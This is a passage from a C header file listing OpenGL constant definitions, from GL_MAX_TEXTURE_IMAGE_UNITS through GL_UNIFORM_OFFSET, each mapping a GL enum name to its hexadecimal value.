#define GL_MAX_TEXTURE_IMAGE_UNITS 0x8872
#define GL_MAX_TEXTURE_LOD_BIAS 0x84FD
#define GL_MAX_TEXTURE_SIZE 0x0D33
#define GL_MAX_TEXTURE_STACK_DEPTH 0x0D39
#define GL_MAX_TEXTURE_UNITS 0x84E2
#define GL_MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS 0x8C8A
#define GL_MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS 0x8C8B
#define GL_MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS 0x8C80
#define GL_MAX_UNIFORM_BLOCK_SIZE 0x8A30
#define GL_MAX_UNIFORM_BUFFER_BINDINGS 0x8A2F
#define GL_MAX_VARYING_COMPONENTS 0x8B4B
#define GL_MAX_VARYING_FLOATS 0x8B4B
#define GL_MAX_VERTEX_ATTRIBS 0x8869
#define GL_MAX_VERTEX_OUTPUT_COMPONENTS 0x9122
#define GL_MAX_VERTEX_TEXTURE_IMAGE_UNITS 0x8B4C
#define GL_MAX_VERTEX_UNIFORM_BLOCKS 0x8A2B
#define GL_MAX_VERTEX_UNIFORM_COMPONENTS 0x8B4A
#define GL_MAX_VIEWPORT_DIMS 0x0D3A
#define GL_MAX_VIEWS_OVR 0x9631
#define GL_MIN 0x8007
#define GL_MINOR_VERSION 0x821C
#define GL_MIN_PROGRAM_TEXEL_OFFSET 0x8904
#define GL_MIRRORED_REPEAT 0x8370
#define GL_MODELVIEW 0x1700
#define GL_MODELVIEW_MATRIX 0x0BA6
#define GL_MODELVIEW_STACK_DEPTH 0x0BA3
#define GL_MODULATE 0x2100
#define GL_MULT 0x0103
#define GL_MULTISAMPLE 0x809D
#define GL_MULTISAMPLE_BIT 0x20000000
#define GL_N3F_V3F 0x2A25
#define GL_NAME_STACK_DEPTH 0x0D70
#define GL_NAND 0x150E
#define GL_NEAREST 0x2600
#define GL_NEAREST_MIPMAP_LINEAR 0x2702
#define GL_NEAREST_MIPMAP_NEAREST 0x2700
#define GL_NEVER 0x0200
#define GL_NICEST 0x1102
#define GL_NONE 0
#define GL_NOOP 0x1505
#define GL_NOR 0x1508
#define GL_NORMALIZE 0x0BA1
#define GL_NORMAL_ARRAY 0x8075
#define GL_NORMAL_ARRAY_BUFFER_BINDING 0x8897
#define GL_NORMAL_ARRAY_POINTER 0x808F
#define GL_NORMAL_ARRAY_STRIDE 0x807F
#define GL_NORMAL_ARRAY_TYPE 0x807E
#define GL_NORMAL_MAP 0x8511
#define GL_NOTEQUAL 0x0205
#define GL_NO_ERROR 0
#define GL_NUM_COMPRESSED_TEXTURE_FORMATS 0x86A2
#define GL_NUM_EXTENSIONS 0x821D
#define GL_NUM_PROGRAM_BINARY_FORMATS 0x87FE
#define GL_OBJECT_LINEAR 0x2401
#define GL_OBJECT_PLANE 0x2501
#define GL_OBJECT_TYPE 0x9112
#define GL_ONE 1
#define GL_ONE_MINUS_CONSTANT_ALPHA 0x8004
#define GL_ONE_MINUS_CONSTANT_COLOR 0x8002
#define GL_ONE_MINUS_DST_ALPHA 0x0305
#define GL_ONE_MINUS_DST_COLOR 0x0307
#define GL_ONE_MINUS_SRC1_ALPHA 0x88FB
#define GL_ONE_MINUS_SRC1_COLOR 0x88FA
#define GL_ONE_MINUS_SRC_ALPHA 0x0303
#define GL_ONE_MINUS_SRC_COLOR 0x0301
#define GL_OPERAND0_ALPHA 0x8598
#define GL_OPERAND0_RGB 0x8590
#define GL_OPERAND1_ALPHA 0x8599
#define GL_OPERAND1_RGB 0x8591
#define GL_OPERAND2_ALPHA 0x859A
#define GL_OPERAND2_RGB 0x8592
#define GL_OR 0x1507
#define GL_ORDER 0x0A01
#define GL_OR_INVERTED 0x150D
#define GL_OR_REVERSE 0x150B
#define GL_OUT_OF_MEMORY 0x0505
#define GL_PACK_ALIGNMENT 0x0D05
#define GL_PACK_IMAGE_HEIGHT 0x806C
#define GL_PACK_LSB_FIRST 0x0D01
#define GL_PACK_ROW_LENGTH 0x0D02
#define GL_PACK_SKIP_IMAGES 0x806B
#define GL_PACK_SKIP_PIXELS 0x0D04
#define GL_PACK_SKIP_ROWS 0x0D03
#define GL_PACK_SWAP_BYTES 0x0D00
#define GL_PASS_THROUGH_TOKEN 0x0700
#define GL_PERSPECTIVE_CORRECTION_HINT 0x0C50
#define GL_PIXEL_MAP_A_TO_A 0x0C79
#define GL_PIXEL_MAP_A_TO_A_SIZE 0x0CB9
#define GL_PIXEL_MAP_B_TO_B 0x0C78
#define GL_PIXEL_MAP_B_TO_B_SIZE 0x0CB8
#define GL_PIXEL_MAP_G_TO_G 0x0C77
#define GL_PIXEL_MAP_G_TO_G_SIZE 0x0CB7
#define GL_PIXEL_MAP_I_TO_A 0x0C75
#define GL_PIXEL_MAP_I_TO_A_SIZE 0x0CB5
#define GL_PIXEL_MAP_I_TO_B 0x0C74
#define GL_PIXEL_MAP_I_TO_B_SIZE 0x0CB4
#define GL_PIXEL_MAP_I_TO_G 0x0C73
#define GL_PIXEL_MAP_I_TO_G_SIZE 0x0CB3
#define GL_PIXEL_MAP_I_TO_I 0x0C70
#define GL_PIXEL_MAP_I_TO_I_SIZE 0x0CB0
#define GL_PIXEL_MAP_I_TO_R 0x0C72
#define GL_PIXEL_MAP_I_TO_R_SIZE 0x0CB2
#define GL_PIXEL_MAP_R_TO_R 0x0C76
#define GL_PIXEL_MAP_R_TO_R_SIZE 0x0CB6
#define GL_PIXEL_MAP_S_TO_S 0x0C71
#define GL_PIXEL_MAP_S_TO_S_SIZE 0x0CB1
#define GL_PIXEL_MODE_BIT 0x00000020
#define GL_PIXEL_PACK_BUFFER 0x88EB
#define GL_PIXEL_PACK_BUFFER_BINDING 0x88ED
#define GL_PIXEL_UNPACK_BUFFER 0x88EC
#define GL_PIXEL_UNPACK_BUFFER_BINDING 0x88EF
#define GL_POINT 0x1B00
#define GL_POINTS 0x0000
#define GL_POINT_BIT 0x00000002
#define GL_POINT_DISTANCE_ATTENUATION 0x8129
#define GL_POINT_FADE_THRESHOLD_SIZE 0x8128
#define GL_POINT_SIZE 0x0B11
#define GL_POINT_SIZE_GRANULARITY 0x0B13
#define GL_POINT_SIZE_MAX 0x8127
#define GL_POINT_SIZE_MIN 0x8126
#define GL_POINT_SIZE_RANGE 0x0B12
#define GL_POINT_SMOOTH 0x0B10
#define GL_POINT_SMOOTH_HINT 0x0C51
#define GL_POINT_SPRITE 0x8861
#define GL_POINT_SPRITE_COORD_ORIGIN 0x8CA0
#define GL_POINT_TOKEN 0x0701
#define GL_POLYGON 0x0009
#define GL_POLYGON_BIT 0x00000008
#define GL_POLYGON_MODE 0x0B40
#define GL_POLYGON_OFFSET_FACTOR 0x8038
#define GL_POLYGON_OFFSET_FILL 0x8037
#define GL_POLYGON_OFFSET_LINE 0x2A02
#define GL_POLYGON_OFFSET_POINT 0x2A01
#define GL_POLYGON_OFFSET_UNITS 0x2A00
#define GL_POLYGON_SMOOTH 0x0B41
#define GL_POLYGON_SMOOTH_HINT 0x0C53
#define GL_POLYGON_STIPPLE 0x0B42
#define GL_POLYGON_STIPPLE_BIT 0x00000010
#define GL_POLYGON_TOKEN 0x0703
#define GL_POSITION 0x1203
#define GL_PREVIOUS 0x8578
#define GL_PRIMARY_COLOR 0x8577
#define GL_PRIMITIVES_GENERATED 0x8C87
#define GL_PRIMITIVE_RESTART 0x8F9D
#define GL_PRIMITIVE_RESTART_INDEX 0x8F9E
#define GL_PROGRAM_BINARY_FORMATS 0x87FF
#define GL_PROGRAM_BINARY_LENGTH 0x8741
#define GL_PROGRAM_BINARY_RETRIEVABLE_HINT 0x8257
#define GL_PROGRAM_POINT_SIZE 0x8642
#define GL_PROJECTION 0x1701
#define GL_PROJECTION_MATRIX 0x0BA7
#define GL_PROJECTION_STACK_DEPTH 0x0BA4
#define GL_PROVOKING_VERTEX 0x8E4F
#define GL_PROXY_TEXTURE_1D 0x8063
#define GL_PROXY_TEXTURE_1D_ARRAY 0x8C19
#define GL_PROXY_TEXTURE_2D 0x8064
#define GL_PROXY_TEXTURE_2D_ARRAY 0x8C1B
#define GL_PROXY_TEXTURE_2D_MULTISAMPLE 0x9101
#define GL_PROXY_TEXTURE_2D_MULTISAMPLE_ARRAY 0x9103
#define GL_PROXY_TEXTURE_3D 0x8070
#define GL_PROXY_TEXTURE_CUBE_MAP 0x851B
#define GL_PROXY_TEXTURE_RECTANGLE 0x84F7
#define GL_Q 0x2003
#define GL_QUADRATIC_ATTENUATION 0x1209
#define GL_QUADS 0x0007
#define GL_QUADS_FOLLOW_PROVOKING_VERTEX_CONVENTION 0x8E4C
#define GL_QUAD_STRIP 0x0008
#define GL_QUERY_BY_REGION_NO_WAIT 0x8E16
#define GL_QUERY_BY_REGION_WAIT 0x8E15
#define GL_QUERY_COUNTER_BITS 0x8864
#define GL_QUERY_NO_WAIT 0x8E14
#define GL_QUERY_RESULT 0x8866
#define GL_QUERY_RESULT_AVAILABLE 0x8867
#define GL_QUERY_WAIT 0x8E13
#define GL_R 0x2002
#define GL_R11F_G11F_B10F 0x8C3A
#define GL_R16 0x822A
#define GL_R16F 0x822D
#define GL_R16I 0x8233
#define GL_R16UI 0x8234
#define GL_R16_SNORM 0x8F98
#define GL_R32F 0x822E
#define GL_R32I 0x8235
#define GL_R32UI 0x8236
#define GL_R3_G3_B2 0x2A10
#define GL_R8 0x8229
#define GL_R8I 0x8231
#define GL_R8UI 0x8232
#define GL_R8_SNORM 0x8F94
#define GL_RASTERIZER_DISCARD 0x8C89
#define GL_READ_BUFFER 0x0C02
#define GL_READ_FRAMEBUFFER 0x8CA8
#define GL_READ_FRAMEBUFFER_BINDING 0x8CAA
#define GL_READ_FRAMEBUFFER_BINDING_EXT 0x8CAA
#define GL_READ_FRAMEBUFFER_EXT 0x8CA8
#define GL_READ_ONLY 0x88B8
#define GL_READ_WRITE 0x88BA
#define GL_RED 0x1903
#define GL_RED_BIAS 0x0D15
#define GL_RED_BITS 0x0D52
#define GL_RED_INTEGER 0x8D94
#define GL_RED_SCALE 0x0D14
#define GL_REFLECTION_MAP 0x8512
#define GL_RENDER 0x1C00
#define GL_RENDERBUFFER 0x8D41
#define GL_RENDERBUFFER_ALPHA_SIZE 0x8D53
#define GL_RENDERBUFFER_ALPHA_SIZE_EXT 0x8D53
#define GL_RENDERBUFFER_BINDING 0x8CA7
#define GL_RENDERBUFFER_BINDING_EXT 0x8CA7
#define GL_RENDERBUFFER_BLUE_SIZE 0x8D52
#define GL_RENDERBUFFER_BLUE_SIZE_EXT 0x8D52
#define GL_RENDERBUFFER_DEPTH_SIZE 0x8D54
#define GL_RENDERBUFFER_DEPTH_SIZE_EXT 0x8D54
#define GL_RENDERBUFFER_EXT 0x8D41
#define GL_RENDERBUFFER_GREEN_SIZE 0x8D51
#define GL_RENDERBUFFER_GREEN_SIZE_EXT 0x8D51
#define GL_RENDERBUFFER_HEIGHT 0x8D43
#define GL_RENDERBUFFER_HEIGHT_EXT 0x8D43
#define GL_RENDERBUFFER_INTERNAL_FORMAT 0x8D44
#define GL_RENDERBUFFER_INTERNAL_FORMAT_EXT 0x8D44
#define GL_RENDERBUFFER_RED_SIZE 0x8D50
#define GL_RENDERBUFFER_RED_SIZE_EXT 0x8D50
#define GL_RENDERBUFFER_SAMPLES 0x8CAB
#define GL_RENDERBUFFER_SAMPLES_EXT 0x8CAB
#define GL_RENDERBUFFER_STENCIL_SIZE 0x8D55
#define GL_RENDERBUFFER_STENCIL_SIZE_EXT 0x8D55
#define GL_RENDERBUFFER_WIDTH 0x8D42
#define GL_RENDERBUFFER_WIDTH_EXT 0x8D42
#define GL_RENDERER 0x1F01
#define GL_RENDER_MODE 0x0C40
#define GL_REPEAT 0x2901
#define GL_REPLACE 0x1E01
#define GL_RESCALE_NORMAL 0x803A
#define GL_RETURN 0x0102
#define GL_RG 0x8227
#define GL_RG16 0x822C
#define GL_RG16F 0x822F
#define GL_RG16I 0x8239
#define GL_RG16UI 0x823A
#define GL_RG16_SNORM 0x8F99
#define GL_RG32F 0x8230
#define GL_RG32I 0x823B
#define GL_RG32UI 0x823C
#define GL_RG8 0x822B
#define GL_RG8I 0x8237
#define GL_RG8UI 0x8238
#define GL_RG8_SNORM 0x8F95
#define GL_RGB 0x1907
#define GL_RGB10 0x8052
#define GL_RGB10_A2 0x8059
#define GL_RGB10_A2UI 0x906F
#define GL_RGB12 0x8053
#define GL_RGB16 0x8054
#define GL_RGB16F 0x881B
#define GL_RGB16I 0x8D89
#define GL_RGB16UI 0x8D77
#define GL_RGB16_SNORM 0x8F9A
#define GL_RGB32F 0x8815
#define GL_RGB32I 0x8D83
#define GL_RGB32UI 0x8D71
#define GL_RGB4 0x804F
#define GL_RGB5 0x8050
#define GL_RGB5_A1 0x8057
#define GL_RGB8 0x8051
#define GL_RGB8I 0x8D8F
#define GL_RGB8UI 0x8D7D
#define GL_RGB8_SNORM 0x8F96
#define GL_RGB9_E5 0x8C3D
#define GL_RGBA 0x1908
#define GL_RGBA12 0x805A
#define GL_RGBA16 0x805B
#define GL_RGBA16F 0x881A
#define GL_RGBA16I 0x8D88
#define GL_RGBA16UI 0x8D76
#define GL_RGBA16_SNORM 0x8F9B
#define GL_RGBA2 0x8055
#define GL_RGBA32F 0x8814
#define GL_RGBA32I 0x8D82
#define GL_RGBA32UI 0x8D70
#define GL_RGBA4 0x8056
#define GL_RGBA8 0x8058
#define GL_RGBA8I 0x8D8E
#define GL_RGBA8UI 0x8D7C
#define GL_RGBA8_SNORM 0x8F97
#define GL_RGBA_INTEGER 0x8D99
#define GL_RGBA_MODE 0x0C31
#define GL_RGB_INTEGER 0x8D98
#define GL_RGB_SCALE 0x8573
#define GL_RG_INTEGER 0x8228
#define GL_RIGHT 0x0407
#define GL_S 0x2000
#define GL_SAMPLER_1D 0x8B5D
#define GL_SAMPLER_1D_ARRAY 0x8DC0
#define GL_SAMPLER_1D_ARRAY_SHADOW 0x8DC3
#define GL_SAMPLER_1D_SHADOW 0x8B61
#define GL_SAMPLER_2D 0x8B5E
#define GL_SAMPLER_2D_ARRAY 0x8DC1
#define GL_SAMPLER_2D_ARRAY_SHADOW 0x8DC4
#define GL_SAMPLER_2D_MULTISAMPLE 0x9108
#define GL_SAMPLER_2D_MULTISAMPLE_ARRAY 0x910B
#define GL_SAMPLER_2D_RECT 0x8B63
#define GL_SAMPLER_2D_RECT_SHADOW 0x8B64
#define GL_SAMPLER_2D_SHADOW 0x8B62
#define GL_SAMPLER_3D 0x8B5F
#define GL_SAMPLER_BINDING 0x8919
#define GL_SAMPLER_BUFFER 0x8DC2
#define GL_SAMPLER_CUBE 0x8B60
#define GL_SAMPLER_CUBE_SHADOW 0x8DC5
#define GL_SAMPLES 0x80A9
#define GL_SAMPLES_PASSED 0x8914
#define GL_SAMPLE_ALPHA_TO_COVERAGE 0x809E
#define GL_SAMPLE_ALPHA_TO_ONE 0x809F
#define GL_SAMPLE_BUFFERS 0x80A8
#define GL_SAMPLE_COVERAGE 0x80A0
#define GL_SAMPLE_COVERAGE_INVERT 0x80AB
#define GL_SAMPLE_COVERAGE_VALUE 0x80AA
#define GL_SAMPLE_MASK 0x8E51
#define GL_SAMPLE_MASK_VALUE 0x8E52
#define GL_SAMPLE_POSITION 0x8E50
#define GL_SCISSOR_BIT 0x00080000
#define GL_SCISSOR_BOX 0x0C10
#define GL_SCISSOR_TEST 0x0C11
#define GL_SECONDARY_COLOR_ARRAY 0x845E
#define GL_SECONDARY_COLOR_ARRAY_BUFFER_BINDING 0x889C
#define GL_SECONDARY_COLOR_ARRAY_POINTER 0x845D
#define GL_SECONDARY_COLOR_ARRAY_SIZE 0x845A
#define GL_SECONDARY_COLOR_ARRAY_STRIDE 0x845C
#define GL_SECONDARY_COLOR_ARRAY_TYPE 0x845B
#define GL_SELECT 0x1C02
#define GL_SELECTION_BUFFER_POINTER 0x0DF3
#define GL_SELECTION_BUFFER_SIZE 0x0DF4
#define GL_SEPARATE_ATTRIBS 0x8C8D
#define GL_SEPARATE_SPECULAR_COLOR 0x81FA
#define GL_SET 0x150F
#define GL_SHADER_SOURCE_LENGTH 0x8B88
#define GL_SHADER_TYPE 0x8B4F
#define GL_SHADE_MODEL 0x0B54
#define GL_SHADING_LANGUAGE_VERSION 0x8B8C
#define GL_SHININESS 0x1601
#define GL_SHORT 0x1402
#define GL_SIGNALED 0x9119
#define GL_SIGNED_NORMALIZED 0x8F9C
#define GL_SINGLE_COLOR 0x81F9
#define GL_SLUMINANCE 0x8C46
#define GL_SLUMINANCE8 0x8C47
#define GL_SLUMINANCE8_ALPHA8 0x8C45
#define GL_SLUMINANCE_ALPHA 0x8C44
#define GL_SMOOTH 0x1D01
#define GL_SMOOTH_LINE_WIDTH_GRANULARITY 0x0B23
#define GL_SMOOTH_LINE_WIDTH_RANGE 0x0B22
#define GL_SMOOTH_POINT_SIZE_GRANULARITY 0x0B13
#define GL_SMOOTH_POINT_SIZE_RANGE 0x0B12
#define GL_SOURCE0_ALPHA 0x8588
#define GL_SOURCE0_RGB 0x8580
#define GL_SOURCE1_ALPHA 0x8589
#define GL_SOURCE1_RGB 0x8581
#define GL_SOURCE2_ALPHA 0x858A
#define GL_SOURCE2_RGB 0x8582
#define GL_SPECULAR 0x1202
#define GL_SPHERE_MAP 0x2402
#define GL_SPOT_CUTOFF 0x1206
#define GL_SPOT_DIRECTION 0x1204
#define GL_SPOT_EXPONENT 0x1205
#define GL_SRC0_ALPHA 0x8588
#define GL_SRC0_RGB 0x8580
#define GL_SRC1_ALPHA 0x8589
#define GL_SRC1_COLOR 0x88F9
#define GL_SRC1_RGB 0x8581
#define GL_SRC2_ALPHA 0x858A
#define GL_SRC2_RGB 0x8582
#define GL_SRC_ALPHA 0x0302
#define GL_SRC_ALPHA_SATURATE 0x0308
#define GL_SRC_COLOR 0x0300
#define GL_SRGB 0x8C40
#define GL_SRGB8 0x8C41
#define GL_SRGB8_ALPHA8 0x8C43
#define GL_SRGB_ALPHA 0x8C42
#define GL_STACK_OVERFLOW 0x0503
#define GL_STACK_UNDERFLOW 0x0504
#define GL_STATIC_COPY 0x88E6
#define GL_STATIC_DRAW 0x88E4
#define GL_STATIC_READ 0x88E5
#define GL_STENCIL 0x1802
#define GL_STENCIL_ATTACHMENT 0x8D20
#define GL_STENCIL_ATTACHMENT_EXT 0x8D20
#define GL_STENCIL_BACK_FAIL 0x8801
#define GL_STENCIL_BACK_FUNC 0x8800
#define GL_STENCIL_BACK_PASS_DEPTH_FAIL 0x8802
#define GL_STENCIL_BACK_PASS_DEPTH_PASS 0x8803
#define GL_STENCIL_BACK_REF 0x8CA3
#define GL_STENCIL_BACK_VALUE_MASK 0x8CA4
#define GL_STENCIL_BACK_WRITEMASK 0x8CA5
#define GL_STENCIL_BITS 0x0D57
#define GL_STENCIL_BUFFER_BIT 0x00000400
#define GL_STENCIL_CLEAR_VALUE 0x0B91
#define GL_STENCIL_FAIL 0x0B94
#define GL_STENCIL_FUNC 0x0B92
#define GL_STENCIL_INDEX 0x1901
#define GL_STENCIL_INDEX1 0x8D46
#define GL_STENCIL_INDEX16 0x8D49
#define GL_STENCIL_INDEX16_EXT 0x8D49
#define GL_STENCIL_INDEX1_EXT 0x8D46
#define GL_STENCIL_INDEX4 0x8D47
#define GL_STENCIL_INDEX4_EXT 0x8D47
#define GL_STENCIL_INDEX8 0x8D48
#define GL_STENCIL_INDEX8_EXT 0x8D48
#define GL_STENCIL_PASS_DEPTH_FAIL 0x0B95
#define GL_STENCIL_PASS_DEPTH_PASS 0x0B96
#define GL_STENCIL_REF 0x0B97
#define GL_STENCIL_TEST 0x0B90
#define GL_STENCIL_VALUE_MASK 0x0B93
#define GL_STENCIL_WRITEMASK 0x0B98
#define GL_STEREO 0x0C33
#define GL_STREAM_COPY 0x88E2
#define GL_STREAM_DRAW 0x88E0
#define GL_STREAM_READ 0x88E1
#define GL_SUBPIXEL_BITS 0x0D50
#define GL_SUBTRACT 0x84E7
#define GL_SYNC_CONDITION 0x9113
#define GL_SYNC_FENCE 0x9116
#define GL_SYNC_FLAGS 0x9115
#define GL_SYNC_FLUSH_COMMANDS_BIT 0x00000001
#define GL_SYNC_GPU_COMMANDS_COMPLETE 0x9117
#define GL_SYNC_STATUS 0x9114
#define GL_T 0x2001
#define GL_T2F_C3F_V3F 0x2A2A
#define GL_T2F_C4F_N3F_V3F 0x2A2C
#define GL_T2F_C4UB_V3F 0x2A29
#define GL_T2F_N3F_V3F 0x2A2B
#define GL_T2F_V3F 0x2A27
#define GL_T4F_C4F_N3F_V4F 0x2A2D
#define GL_T4F_V4F 0x2A28
#define GL_TEXTURE 0x1702
#define GL_TEXTURE0 0x84C0
#define GL_TEXTURE1 0x84C1
#define GL_TEXTURE10 0x84CA
#define GL_TEXTURE11 0x84CB
#define GL_TEXTURE12 0x84CC
#define GL_TEXTURE13 0x84CD
#define GL_TEXTURE14 0x84CE
#define GL_TEXTURE15 0x84CF
#define GL_TEXTURE16 0x84D0
#define GL_TEXTURE17 0x84D1
#define GL_TEXTURE18 0x84D2
#define GL_TEXTURE19 0x84D3
#define GL_TEXTURE2 0x84C2
#define GL_TEXTURE20 0x84D4
#define GL_TEXTURE21 0x84D5
#define GL_TEXTURE22 0x84D6
#define GL_TEXTURE23 0x84D7
#define GL_TEXTURE24 0x84D8
#define GL_TEXTURE25 0x84D9
#define GL_TEXTURE26 0x84DA
#define GL_TEXTURE27 0x84DB
#define GL_TEXTURE28 0x84DC
#define GL_TEXTURE29 0x84DD
#define GL_TEXTURE3 0x84C3
#define GL_TEXTURE30 0x84DE
#define GL_TEXTURE31 0x84DF
#define GL_TEXTURE4 0x84C4
#define GL_TEXTURE5 0x84C5
#define GL_TEXTURE6 0x84C6
#define GL_TEXTURE7 0x84C7
#define GL_TEXTURE8 0x84C8
#define GL_TEXTURE9 0x84C9
#define GL_TEXTURE_1D 0x0DE0
#define GL_TEXTURE_1D_ARRAY 0x8C18
#define GL_TEXTURE_2D 0x0DE1
#define GL_TEXTURE_2D_ARRAY 0x8C1A
#define GL_TEXTURE_2D_MULTISAMPLE 0x9100
#define GL_TEXTURE_2D_MULTISAMPLE_ARRAY 0x9102
#define GL_TEXTURE_3D 0x806F
#define GL_TEXTURE_ALPHA_SIZE 0x805F
#define GL_TEXTURE_ALPHA_TYPE 0x8C13
#define GL_TEXTURE_BASE_LEVEL 0x813C
#define GL_TEXTURE_BINDING_1D 0x8068
#define GL_TEXTURE_BINDING_1D_ARRAY 0x8C1C
#define GL_TEXTURE_BINDING_2D 0x8069
#define GL_TEXTURE_BINDING_2D_ARRAY 0x8C1D
#define GL_TEXTURE_BINDING_2D_MULTISAMPLE 0x9104
#define GL_TEXTURE_BINDING_2D_MULTISAMPLE_ARRAY 0x9105
#define GL_TEXTURE_BINDING_3D 0x806A
#define GL_TEXTURE_BINDING_BUFFER 0x8C2C
#define GL_TEXTURE_BINDING_CUBE_MAP 0x8514
#define GL_TEXTURE_BINDING_RECTANGLE 0x84F6
#define GL_TEXTURE_BIT 0x00040000
#define GL_TEXTURE_BLUE_SIZE 0x805E
#define GL_TEXTURE_BLUE_TYPE 0x8C12
#define GL_TEXTURE_BORDER 0x1005
#define GL_TEXTURE_BORDER_COLOR 0x1004
#define GL_TEXTURE_BUFFER 0x8C2A
#define GL_TEXTURE_BUFFER_DATA_STORE_BINDING 0x8C2D
#define GL_TEXTURE_COMPARE_FUNC 0x884D
#define GL_TEXTURE_COMPARE_MODE 0x884C
#define GL_TEXTURE_COMPONENTS 0x1003
#define GL_TEXTURE_COMPRESSED 0x86A1
#define GL_TEXTURE_COMPRESSED_IMAGE_SIZE 0x86A0
#define GL_TEXTURE_COMPRESSION_HINT 0x84EF
#define GL_TEXTURE_COORD_ARRAY 0x8078
#define GL_TEXTURE_COORD_ARRAY_BUFFER_BINDING 0x889A
#define GL_TEXTURE_COORD_ARRAY_POINTER 0x8092
#define GL_TEXTURE_COORD_ARRAY_SIZE 0x8088
#define GL_TEXTURE_COORD_ARRAY_STRIDE 0x808A
#define GL_TEXTURE_COORD_ARRAY_TYPE 0x8089
#define GL_TEXTURE_CUBE_MAP 0x8513
#define GL_TEXTURE_CUBE_MAP_NEGATIVE_X 0x8516
#define GL_TEXTURE_CUBE_MAP_NEGATIVE_Y 0x8518
#define GL_TEXTURE_CUBE_MAP_NEGATIVE_Z 0x851A
#define GL_TEXTURE_CUBE_MAP_POSITIVE_X 0x8515
#define GL_TEXTURE_CUBE_MAP_POSITIVE_Y 0x8517
#define GL_TEXTURE_CUBE_MAP_POSITIVE_Z 0x8519
#define GL_TEXTURE_CUBE_MAP_SEAMLESS 0x884F
#define GL_TEXTURE_DEPTH 0x8071
#define GL_TEXTURE_DEPTH_SIZE 0x884A
#define GL_TEXTURE_DEPTH_TYPE 0x8C16
#define GL_TEXTURE_ENV 0x2300
#define GL_TEXTURE_ENV_COLOR 0x2201
#define GL_TEXTURE_ENV_MODE 0x2200
#define GL_TEXTURE_FILTER_CONTROL 0x8500
#define GL_TEXTURE_FIXED_SAMPLE_LOCATIONS 0x9107
#define GL_TEXTURE_GEN_MODE 0x2500
#define GL_TEXTURE_GEN_Q 0x0C63
#define GL_TEXTURE_GEN_R 0x0C62
#define GL_TEXTURE_GEN_S 0x0C60
#define GL_TEXTURE_GEN_T 0x0C61
#define GL_TEXTURE_GREEN_SIZE 0x805D
#define GL_TEXTURE_GREEN_TYPE 0x8C11
#define GL_TEXTURE_HEIGHT 0x1001
#define GL_TEXTURE_INTENSITY_SIZE 0x8061
#define GL_TEXTURE_INTENSITY_TYPE 0x8C15
#define GL_TEXTURE_INTERNAL_FORMAT 0x1003
#define GL_TEXTURE_LOD_BIAS 0x8501
#define GL_TEXTURE_LUMINANCE_SIZE 0x8060
#define GL_TEXTURE_LUMINANCE_TYPE 0x8C14
#define GL_TEXTURE_MAG_FILTER 0x2800
#define GL_TEXTURE_MATRIX 0x0BA8
#define GL_TEXTURE_MAX_LEVEL 0x813D
#define GL_TEXTURE_MAX_LOD 0x813B
#define GL_TEXTURE_MIN_FILTER 0x2801
#define GL_TEXTURE_MIN_LOD 0x813A
#define GL_TEXTURE_PRIORITY 0x8066
#define GL_TEXTURE_RECTANGLE 0x84F5
#define GL_TEXTURE_RED_SIZE 0x805C
#define GL_TEXTURE_RED_TYPE 0x8C10
#define GL_TEXTURE_RESIDENT 0x8067
#define GL_TEXTURE_SAMPLES 0x9106
#define GL_TEXTURE_SHARED_SIZE 0x8C3F
#define GL_TEXTURE_STACK_DEPTH 0x0BA5
#define GL_TEXTURE_STENCIL_SIZE 0x88F1
#define GL_TEXTURE_SWIZZLE_A 0x8E45
#define GL_TEXTURE_SWIZZLE_B 0x8E44
#define GL_TEXTURE_SWIZZLE_G 0x8E43
#define GL_TEXTURE_SWIZZLE_R 0x8E42
#define GL_TEXTURE_SWIZZLE_RGBA 0x8E46
#define GL_TEXTURE_WIDTH 0x1000
#define GL_TEXTURE_WRAP_R 0x8072
#define GL_TEXTURE_WRAP_S 0x2802
#define GL_TEXTURE_WRAP_T 0x2803
#define GL_TIMEOUT_EXPIRED 0x911B
#define GL_TIMEOUT_IGNORED 0xFFFFFFFFFFFFFFFF
#define GL_TIMESTAMP 0x8E28
#define GL_TIME_ELAPSED 0x88BF
#define GL_TRANSFORM_BIT 0x00001000
#define GL_TRANSFORM_FEEDBACK_BUFFER 0x8C8E
#define GL_TRANSFORM_FEEDBACK_BUFFER_BINDING 0x8C8F
#define GL_TRANSFORM_FEEDBACK_BUFFER_MODE 0x8C7F
#define GL_TRANSFORM_FEEDBACK_BUFFER_SIZE 0x8C85
#define GL_TRANSFORM_FEEDBACK_BUFFER_START 0x8C84
#define GL_TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN 0x8C88
#define GL_TRANSFORM_FEEDBACK_VARYINGS 0x8C83
#define GL_TRANSFORM_FEEDBACK_VARYING_MAX_LENGTH 0x8C76
#define GL_TRANSPOSE_COLOR_MATRIX 0x84E6
#define GL_TRANSPOSE_MODELVIEW_MATRIX 0x84E3
#define GL_TRANSPOSE_PROJECTION_MATRIX 0x84E4
#define GL_TRANSPOSE_TEXTURE_MATRIX 0x84E5
#define GL_TRIANGLES 0x0004
#define GL_TRIANGLES_ADJACENCY 0x000C
#define GL_TRIANGLE_FAN 0x0006
#define GL_TRIANGLE_STRIP 0x0005
#define GL_TRIANGLE_STRIP_ADJACENCY 0x000D
#define GL_TRUE 1
#define GL_UNIFORM_ARRAY_STRIDE 0x8A3C
#define GL_UNIFORM_BLOCK_ACTIVE_UNIFORMS 0x8A42
#define GL_UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES 0x8A43
#define GL_UNIFORM_BLOCK_BINDING 0x8A3F
#define GL_UNIFORM_BLOCK_DATA_SIZE 0x8A40
#define GL_UNIFORM_BLOCK_INDEX 0x8A3A
#define GL_UNIFORM_BLOCK_NAME_LENGTH 0x8A41
#define GL_UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER 0x8A46
#define GL_UNIFORM_BLOCK_REFERENCED_BY_GEOMETRY_SHADER 0x8A45
#define GL_UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER 0x8A44
#define GL_UNIFORM_BUFFER 0x8A11
#define GL_UNIFORM_BUFFER_BINDING 0x8A28
#define GL_UNIFORM_BUFFER_OFFSET_ALIGNMENT 0x8A34
#define GL_UNIFORM_BUFFER_SIZE 0x8A2A
#define GL_UNIFORM_BUFFER_START 0x8A29
#define GL_UNIFORM_IS_ROW_MAJOR 0x8A3E
#define GL_UNIFORM_MATRIX_STRIDE 0x8A3D
#define GL_UNIFORM_NAME_LENGTH 0x8A39
#define GL_UNIFORM_OFFSET 0x8A3B
